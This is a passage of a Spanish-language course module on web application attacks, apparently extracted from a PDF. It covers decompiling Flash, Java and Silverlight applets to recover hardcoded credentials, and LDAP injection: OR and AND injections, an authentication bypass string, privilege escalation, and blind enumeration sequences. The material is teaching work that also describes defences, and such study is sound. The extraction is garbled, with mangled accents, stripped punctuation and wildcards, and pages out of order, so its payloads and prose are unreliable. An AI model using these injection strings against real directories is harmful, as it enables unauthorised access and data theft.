CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web

lturlgt

lturlgt ltlocgthttpwwwacomfaqltlocgt

ltlastmodgt2004-12-23T180015+0000ltlastmodgt

ltprioritygt03ltprioritygt

lturlgt

lturlgt ltlocgthttpwwwacomaboutltlocgt

ltlastmodgt2004-11-23ltlastmodgt

lturlgt

lturlsetgt

61 Descompiladores de applets web

611 Flash

Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una

interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas

que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-

sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-

cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo

aunque a veces ocurre

Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente

han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros

proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de

coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos

se pueden observar faacutecilmente usando un sniffer del protocolo HTTP

Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio

en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver

el coacutedigo fuente del fichero Flash

CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web

Figura 49 Captura del fichero mp3 reproducido desde unreproductor web

Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando

lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo

actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-

samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-

donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un

fichero Flash

Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar

coacutemo realizar esto mediante el programa Flasm de descarga gratuita

La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-

lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-

rigir hacia un fichero de texto la salida del programa En este ejemplo vamos

a realizar la accioacuten con un pequentildeo juego Flash

Figura 50 Ejecucioacuten del comando flasmexe

Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra

extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador

(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf

CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web

Figura 51 Volcado del coacutedigo del fichero swf

Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo

funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las

URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten

Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los

fallos de seguridad comentados en capiacutetulos anteriores

612 Java

Al igual que con los ficheros Flash aunque con menos popularidad en la ac-

tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-

cutan dentro de nuestro navegador

Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo

en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene

muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto

tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-

mos en Flash

Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos

muestran el coacutedigo Java original En la captura siguiente el programa usado

es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-

ciones

CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web

Figura 52 Pantalla principal del Java Decompiler

613 NET

Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones

ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar

maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-

dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-

do NET que se carga desde el servidor mediante un plugin en nuestro navega-

dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de

la aplicacioacuten Silverlight

Figura 53 Aplicacioacuten de muestra de Silverlight

CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web

En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple

Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute

programada para que compruebe los datos introducidos con unos datos que

estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y

vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea

vaacutelidos El detalle de coacutedigo Javascript seriacutea

Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo

HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero

contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-

vegador interprete

El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del

programa Estos ficheros son compilados de NET y pueden ser analizados me-

diante programas como NET Reflector Los ficheros contenidos en este fiche-

ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor

pues realmente es un fichero ZIP

Figura 54ndash Fichero xap descomprimido

Una vez descomprimido se nos muestran una serie de archivos Estos archivos

contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero

realmente los datos importantes se encuentran en el fichero Test001dll (en el

ejemplo actual) Este fichero puede ser descompilado mediante el programa

indicado anteriormente y acceder al coacutedigo fuente interno En este caso se

observan dos clases principales App y MainPage

CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web

Figura 55 Detalle del programa descompilado

En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-

do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten

de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el

nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo

Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera

forma de poner un contenido de una manera maacutes vistosa para el usuario Sin

embargo a veces los desarrolladores web lo usan como un lenguaje de progra-

macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro

CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web

Bibliografiacutea

Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox

Clarke J (2009) SQL Injection Attacks and defense E Syngress

Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress

Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media

Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley

  • Ataques a aplicaciones web
    • Iacutendice
    • 1 Ataques de inyeccioacuten de scripts
      • 11 Cross site scripting (XSS)
        • 111 Ataques
        • 112 Meacutetodos para introducir XSS (cross site scripting)
        • 113 Diseccionando un ataque
        • 114 Filtros XSS
          • 12 Cross Site Request Forgery (CSRF)
          • 13 Clickjacking
            • 2 Ataques de inyeccioacuten de coacutedigo
              • 21 LDAP Injection
                • 211 LDAP Injection con ADAM de Microsoft
                • 212 LDAP Injection con OpenLDAP
                • 213 Conclusiones
                • 214 ldquoORrdquo LDAP Injection
                • 215 ldquoANDrdquo LDAP Injection
                  • 22 Blind LDAP Injection
                    • 221 Blind LDAP Injection en un entorno ldquoANDrdquo
                    • 222 Reconocimiento de clases de objetos de un aacuterbol LDAP
                    • 223 Blind LDAP Injection en un entorno ldquoORrdquo
                    • 224 Ejemplos Blind LDAP Injection
                      • 23 XPath
                        • 231 XPath injection y Blind XPath Injection
                        • 232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
                            • 3 Ataques de Path Transversal
                              • 31 Path Disclosure
                                • 4 Ataques de inyeccioacuten de ficheros
                                  • 41 Remote file inclusion
                                  • 42 Local file inclusion
                                  • 43 Webtrojans
                                    • 5 Google Hacking
                                    • 6 Seguridad por ocultacioacuten
                                      • 61 Descompiladores de applets web
                                        • 611 Flash
                                        • 612 Java
                                        • 613 NET
                                            • Bibliografiacutea
Page 30: Ataques a Aplicaciones Web

CC-BY-NC-ND bull PID_00191662 30 Ataques a aplicaciones web

Figura 14 Todas las impresoras

Sin embargo como se puede apreciar para construir ese filtro necesitariacuteamos

inyectar un operador y un pareacutentesis al principio En el ejemplo la inyeccioacuten

no resulta ser muy uacutetil pues se estaacute realizando en ambas condicionantes sobre

cn pero ese filtro solo estaacute creado para ilustrar la necesidad de inyectar coacutedigo

antes del filtro y en el medio del filtro Si probamos la inyeccioacuten propuesta

por Sacha Faust en ADAM (cn=Impresora_1)(|(cn=Impresora))

Figura 15 Inyeccioacuten sin resultados

CC-BY-NC-ND bull PID_00191662 31 Ataques a aplicaciones web

Como se puede apreciar en la figura anterior en la uacuteltima prueba la inyeccioacuten

no produce ninguacuten error pero a diferencia de las pruebas que realiza Sacha

Faust con SunOne Directory Server 50 el servidor ADAM no devuelve maacutes

datos Es decir solo devuelve los datos del primer filtro completo y el resto de

la cadena es ignorado

212 LDAP Injection con OpenLDAP

Para realizar las pruebas de inyeccioacuten en OpenLDAP se ha utilizado el aacuterbol

que ofrece para aplicaciones de prueba el propio proyecto OpenLPADorg cuya

estructura es la siguiente

Figura 16 Estructura del aacuterbol LDAP en OpenLDAP

Sobre esta estructura ejecutamos una consulta para buscar a un usuario obte-

niendo un uacutenico objeto como resultado (uid=kurt)

CC-BY-NC-ND bull PID_00191662 32 Ataques a aplicaciones web

Figura 17 Al ejecutar el filtro (uid=kurt) obtenemos un uacutenico resultado

Si quisieacuteramos ampliar el nuacutemero de resultados siguiendo el formato definido

en el RFC deberiacuteamos ejecutar una consulta en la que inyectaacuteramos un opera-

dor OR y un filtro que incluyera todos los resultados como se puede ver en la

siguiente imagen (|(uid=kurt)(uid=))

Figura 18 Todos los usuarios

Si realizamos la inyeccioacuten tal y como propone Sacha Faust en su documento

sobre LDAP obtendriacuteamos los siguientes resultados (uid=kurt)(|(uid=))

CC-BY-NC-ND bull PID_00191662 33 Ataques a aplicaciones web

Figura 19 Inyeccioacuten OpenLDAP Se ignora el segundo filtro

Como puede apreciarse en la figura 19 el servidor OpenLDAP ha ignorado

el segundo filtro y solo ha devuelto un usuario de igual forma que realizaba

ADAM

213 Conclusiones

Tras realizar estas pruebas podemos extraer las siguientes conclusiones

bull Para realizar una inyeccioacuten de coacutedigo LDAP en una aplicacioacuten que trabaje

contra ADAM u OpenLDAP es necesario que el filtro original es decir el

del programador tenga un operador OR o AND A partir de este punto se

pueden realizar inyecciones de coacutedigo que permitan extraer informacioacuten

o realizar ataques blind es decir a ciegas

bull Es necesario que la consulta generada tras la inyeccioacuten esteacute correctamente

anidada en un uacutenico par de pareacutentesis general o bien que el componente

permita la ejecucioacuten con informacioacuten que no se va a utilizar a la derecha

del filtro

bull La inyeccioacuten que queda compuesta seguacuten el documento de Sacha Faust

puede ser vista de dos formas diferentes una primera en la que seriacutea vista

como un uacutenico filtro con un operador y otra en la que se interpretaraacute co-

mo la concatenacioacuten de dos filtros En el primer caso tendriacuteamos un filtro

mal compuesto Por otro lado si la inyeccioacuten se ve como dos filtros es-

tariacuteamos hablando de un comportamiento particular de algunos motores

LDAP (que no comparten con OpenLDAP ni con ADAM) y ademaacutes con

un segundo filtro con un operador el operador OR innecesario

CC-BY-NC-ND bull PID_00191662 34 Ataques a aplicaciones web

A partir de este punto vamos a analizar diferentes tipos de inyecciones LDAP

que pueden suponer un riesgo de seguridad en los sistemas LDAP que esteacuten

siendo accedidos por aplicaciones web ldquoORrdquo LDAP Injection ldquoANDrdquo LDAP In-

jection y Blind LDAP Injection

214 ldquoORrdquo LDAP Injection

En este entorno nos encontrariacuteamos con que el programador ha creado una

consulta LDAP con un operador OR y uno o los dos paraacutemetros son solicitados

al usuario

(|(atributo1=valor1)(atributo2=valor2))

Supongamos en el ejemplo del aacuterbol LDAP que tenemos una consulta inyec-

table del siguiente tipo (|(cn=D)(ou=Groups)) Es decir que devuelve to-

dos los objetos cuyo valor en ldquocnrdquo comience por ldquoDrdquo o cuyo valor en ldquoourdquo sea

ldquoGroupsrdquo Al ejecutarla obtenemos

Figura 20 Consulta OR sin inyeccioacuten

Si esta consulta sufriera una inyeccioacuten de coacutedigo en el primer paraacutemetro po-

driacuteamos realizar una consulta que nos devolviera la lista de usuarios almace-

nados Para ello realizamos la inyeccioacuten en el primer valor de la siguiente ca-

dena void)(uid=))(|(uid=

CC-BY-NC-ND bull PID_00191662 35 Ataques a aplicaciones web

Figura 21 Lista de usuarios obtenida tras la inyeccioacuten

Al formarse la consulta LDAP esta quedaraacute construida de la siguiente forma (|

(cn=void)(uid=))(|(uid=)(ou=Groups)) permitiendo obtener la lis-

ta de todos los usuarios del aacuterbol LDAP

Otro ejemplo de esta teacutecnica es la siguiente aplicacioacuten de gestioacuten interna en

este caso tenemos un aplicativo que lanza una consulta LDAP del siguiente

tipo

(|(type=outputDevices)(type=printer))

Figura 22 Listado de impresoras y dispositivos de salida

Si el paraacutemetro type que va por GET en la URL es inyectable un atacante podriacutea

modificar el filtro de consulta LDAP con una inyeccioacuten del siguiente tipo

CC-BY-NC-ND bull PID_00191662 36 Ataques a aplicaciones web

(|(type=outputDevices)(type=printer)(uid=))(|(type=void))

Con esa inyeccioacuten el atacante obtendriacutea en este ejemplo la lista de todos los

usuarios como se puede ver en la figura 23

Figura 23 Acceso al listado de usuarios mediante OR LDAP Injection

215 ldquoANDrdquo LDAP Injection

En el caso de inyecciones en consultas LDAP que lleven el operador AND el

atacante estaacute obligado a utilizar como valor en el primer atributo algo vaacutelido

pero se pueden utilizar las inyecciones para mediatizar los resultados y por

ejemplo realizar escaladas de privilegios En este caso nos encontrariacuteamos con

una consulta del siguiente tipo

(amp(atributo1=valor1)(atributo2=valor2))

Supongamos un entorno en el que se muestra la lista de todos los documentos

a los que un usuario con pocos privilegios tiene acceso mediante una consulta

que incluye el directorio de documentos en un paraacutemetro inyectable Es decir

la consulta original es

(amp(directorio=nombre_directorio)(nivel_seguridad=bajo))

Un atacante podriacutea construir una inyeccioacuten del siguiente modo para poder

acceder a los documentos de nivel de seguridad alto

(amp(directorio=almacen)(nivel_seguridad=alto))(|(directorio=almacen)(nivel_seguridad=bajo))

Para conseguir este resultado se habraacute inyectado en el nombre del directorio

la siguiente cadena

almacen)(nivel_seguridad=alto))(|(directorio=almacen

CC-BY-NC-ND bull PID_00191662 37 Ataques a aplicaciones web

Un ejemplo de este ataque se puede ver en la siguiente aplicacioacuten En primer

lugar se va a realizar un acceso no autorizado a la aplicacioacuten web utilizando

una inyeccioacuten que evite la comprobacioacuten de la contrasentildea La aplicacioacuten lanza

una consulta LDAP del tipo

(amp(uid=valor_de_user)(password=valor_de_password)

El atacante inyectando la cadena slisberger)(amp)) en el valor del USER

obtendriacutea una consulta LDAP que siempre devolveriacutea al usuario slisberger

y por lo tanto conseguiriacutea el acceso a la aplicacioacuten

Figura 24 Acceso no autorizado mediante AND LDAP Injection

Y como se puede ver en la figura 25 el usuario consigue acceso al directorio

privado del usuario slisberger En este caso se ha utilizado el filtro (amp)

que es el equivalente al valor TRUE en los filtros LDAP

Figura 25 Directorio home del usuario

Como se puede ver en este caso el usuario ha accedido con privilegios de nivel

bajo y en la aplicacioacuten de mostrar documentos que se describioacute al principio

de este apartado solo tendriacutea acceso a los documentos de nivel bajo como se

puede ver en la figura 26

CC-BY-NC-ND bull PID_00191662 38 Ataques a aplicaciones web

Figura 26 Listado de documentos de nivel bajo

La consulta que se estaacute ejecutando es

(amp(directory=nombre_directorio)(level=low))

El valor de level lo estaacute cogiendo la aplicacioacuten de las variables de sesioacuten del

servidor sin embargo un atacante podriacutea inyectar en el nombre del directorio

el siguiente comando Documents)(level=High) De esta forma el coman-

do que se ejecutariacutea seriacutea

(amp(directory=Documents)(level=High))(level=low))

Permitiendo al atacante acceder a todos los documentos Se ha producido una

elevacioacuten de privilegios

CC-BY-NC-ND bull PID_00191662 39 Ataques a aplicaciones web

Figura 27 Elevacioacuten de privilegios mediante AND LDAP Injection

22 Blind LDAP Injection

Una de las evoluciones de las inyecciones de comandos son las acciones a

ciegas los ataques ldquoblindrdquo Es comuacuten encontrarse ya documentados los ataques

Blind SQL Injection pero de los ataques Blind LDAP Injection sin embargo no

se ha hablado nada Tambieacuten es posible realizar un ataque a ciegas para extraer

informacioacuten de un aacuterbol LDAP

El entorno para realizar un ataque a ciegas suele ser una aplicacioacuten web que

cumple dos caracteriacutesticas

bull La aplicacioacuten no muestra los resultados obtenidos de la consulta realizada

al aacuterbol LDAP

bull El uso de los resultados produce cambios en la respuesta http que el cliente

recibe

Para realizar un ataque a ciegas necesitamos poder crear la loacutegica para extraer

informacioacuten cambiando los resultados obtenidos con el filtro LDAP y obser-

vando los cambios en las respuestas http

CC-BY-NC-ND bull PID_00191662 40 Ataques a aplicaciones web

221 Blind LDAP Injection en un entorno ldquoANDrdquo

En esta situacioacuten tenemos una consulta generada en el lado del servidor del

siguiente tipo

(amp(atributo1=valor1)(atributo2=valor2))

Para realizar la inyeccioacuten debemos tener en cuenta que en un entorno AND

tenemos un paraacutemetro fijo que nos va a condicionar El entorno ideal es que el

atributo1 sea lo maacutes general posible por ejemplo objectClass o cn con lo

que podremos seleccionar casi cualquier objeto del aacuterbol Despueacutes deberemos

aplicarle un valor que sea true es decir que siempre seleccione objetos para

tenerlo fijado a valor true y utilizar como segundo atributo uno conocido que

tambieacuten nos garantice que sea true

Supongamos la siguiente consulta LDAP

(amp(objectClass=Impresoras)(impresoraTipo=Epson))

Que se lanza para saber si en el almaceacuten de una empresa hay impresoras Epson

de tal manera que el programador si recibe alguacuten objeto simplemente pinta

en la paacutegina web un icono de una impresora Epson

Estaacute claro que lo maacuteximo que conseguiremos tras la inyeccioacuten es ver o no el

icono de la impresora Bien iexclpues a ello Fijemos la respuesta positiva tal y

como hemos dicho realizando una inyeccioacuten del siguiente tipo

(amp(objectClass=)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

Lo que estaacute puesto en negrita seriacutea la inyeccioacuten que introduciriacutea el atacante

Esta inyeccioacuten debe devolver siempre alguacuten objeto en el ejemplo planteado

en la respuesta http veriacuteamos un icono de la impresora A partir de ahiacute podriacutea-

mos extraer los tipos de objectClass que tenemos en nuestro aacuterbol LDAP

222 Reconocimiento de clases de objetos de un aacuterbol LDAP

Sabiendo que el filtro (objectClass=) siempre devuelve alguacuten objeto deberiacutea-

mos centrarnos en el segundo filtro realizando un recorrido de la siguiente

forma

(amp(objectClass=)(objectClass=users))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=personas))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=usuarios))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=logins))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=))(amp(objectClass=foo)(impresoraTipo=Epson))

CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web

De tal manera que todas aquellas inyecciones que devolvieran el icono de la

impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean

la existencia de ese tipo de objetos

Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-

beto de posibles valores utilizando una buacutesqueda con comodines para ello

realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de

la siguiente forma

(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))

De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran

dado una respuesta positiva

(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))

Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos

llegar a saber el nombre de todos los objetcClass de un sistema

Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)

Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido

para cualquier atributo que un objeto compartiera con el atributo fijo Una

vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-

CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web

rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los

nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido

con la siguiente inyeccioacuten

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-

bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se

puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-

teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-

zando un recorrido de la siguiente forma

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan

devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-

car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de

los caracteres utilizando los operadores relacionales lt= o gt= para reducir el

nuacutemero de peticiones

En los atributos que almacenan valores numeacutericos no es posible utilizar el co-

modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-

rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=

(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))

223 Blind LDAP Injection en un entorno ldquoORrdquo

En esta situacioacuten tenemos una consulta generada en el lado del servidor del

siguiente tipo

(|(atributo1=valor1)(atributo2=valor2))

En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar

el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor

siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos

una inyeccioacuten de la siguiente forma

(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))

CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web

Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo

planteado de las impresoras disponibles deberemos obtener un resultado sin

el icono de la impresora Luego podremos inferir la informacioacuten cuando sea

verdadero el segundo filtro

(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda

la informacioacuten del aacuterbol LDAP utilizando los comodines

224 Ejemplos Blind LDAP Injection

Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado

dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En

la siguiente figura se pueden ver los atributos de un objeto de tipo Printer

Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer

Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros

repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una

aplicacioacuten programada en php llamada printerstatusphp que recibe co-

mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de

la siguiente forma

(amp(cn=HP Laserjet 2100)(objectclass=printer))

El resultado es una paacutegina web en la que se accede a propiedades de la impre-

sora en concreto

CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web

Figura 30 Propiedades de la impresora HP LaserJet 2100

El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-

nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de

los objetos que se puedan seleccionar con cualquier consulta ejecutada por

lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes

capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-

diante Blind LDAP Injection

1)Fase1descubrimientodeatributos

El atacante inyecta atributos para descubrir si existen o no Cuando el atributo

no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no

muestra datos de ninguna impresora

Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de

tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir

asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=

o = y para los booleanos las constantes true y false

Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico

En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de

tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto

se puede comprobar porque la paacutegina de resultados ha devuelto datos de la

impresora que se estaba utilizando

CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web

Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico

Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las

que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten

y el descubrimiento de los atributos simplemente comparando los resultados

HTML obtenidos

En la figura 33 se obtiene de nuevo un resultado positivo que confirma la

existencia de un atributo department

Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble

2)Fase2reduccioacutendelalfabeto

Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-

fabeto posible de valores en un campo La idea consiste en saber si existe o

no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres

de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres

tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten

Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-

ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos

dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir

15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones

+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se

puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a

utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza

como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28

es decir 148 peticiones

CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web

Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena

opcioacuten a la hora de extraer valores de campos

En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece

o no al valor del campo

Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos

Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos

Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse

para extraer el valor del dato mediante un proceso de despliegue

3)Fase3despliegue

En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas

para ello comenzaremos un proceso desde la primera posicioacuten

Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos

CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web

Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-

firme que con ese patroacuten se devuelven datos

Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos

Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a

buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la

fase de reduccioacuten del alfabeto

Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos

Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos

Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se

hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta

de los objetos del aacuterbol LDAP

LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-

rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet

realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-

On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet

CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web

Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro

de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas

de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo

la documentacioacuten existente son de poca ayuda pues en los entornos maacutes

comunes como ADAM u OpenLDAP no funcionan

La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones

consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-

viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines

para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra

aplicacioacuten

23 XPath

XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-

cumentos XML por medio de expresiones especiacuteficas para su estructura

Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de

la organizacioacuten de nodos que poseen los ficheros XML

Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-

